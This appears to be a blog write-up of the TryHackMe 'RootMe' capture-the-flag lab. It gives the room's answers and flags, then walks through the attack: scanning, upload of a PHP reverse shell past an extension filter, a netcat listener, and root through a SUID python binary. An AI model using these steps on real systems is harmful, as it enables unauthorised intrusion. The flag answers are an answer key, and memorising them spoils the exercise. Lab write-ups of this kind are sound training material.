RootMe - TryHackMe Problem Solving

 1. Scan the machine, how many ports are open? 

Ans: 2

2. What version of Apache is running?

 Ans: 2.4.29

3. What service is running on port 22?

Ans: ssh

4. What is the hidden directory?

Ans: /panel/ 

5. user.txt 

Ans:  THM{y0u_g0t_a_sh3ll}

6. Search for files with SUID permission, which file is weird? 

Ans: /usr/bin/python

7. root.txt

Ans:  THM{pr1v1l3g3_3sc4l4t10n}

 

============  

1. Start openvpn and ip address run with browser

2. Scan

cmd: nmap -sV -Sc  Ip Address

get port and Apache version 

cmd: gobuster dir -u http://ip -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

get hidden directory list

3. Go to google and search "php shell pentestmonkey" and download "php-reverse-shell.php" this file then change file extension like "php-reverse-shell.php5"

4. Open "php-reverse-shell.php5" file and change ip address put your ip address then save it.

5. Go to ip/panel and upload php file

cmd: nc -nvlp "php-reverse-shell.php5 which is given port"

go to your browser and open ip/uploads/php-reverse-shell.php5

you can see "Listening some code" with in cmd

cmd: ls

6. Search google "how to upgrade linux shell using python"

 cmd: python -c 'import pty; pty.spawn("/bin/bash")'

cmd: ls

cmd: pwd

cmd: find / -type f  -name user.txt

cmd: cat /var/www/user.txt

get user.txt from text

 cmd: find / -type f -user root -perm -4000 2>/dev/null

get /usr/bin/python

7. Go to website "gtfobins" and search python for suid 

cmd: ./usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

cmd: ls

cmd: cd root

cmd: ls

cmd: cat root.txt

get root.txt key text

Comments

Popular posts from this blog

Pickle Rick - TryHackMe Problem Solving

Startup - TryHackMe Problem Solving

Tomghost - TryHackMe Problem Solving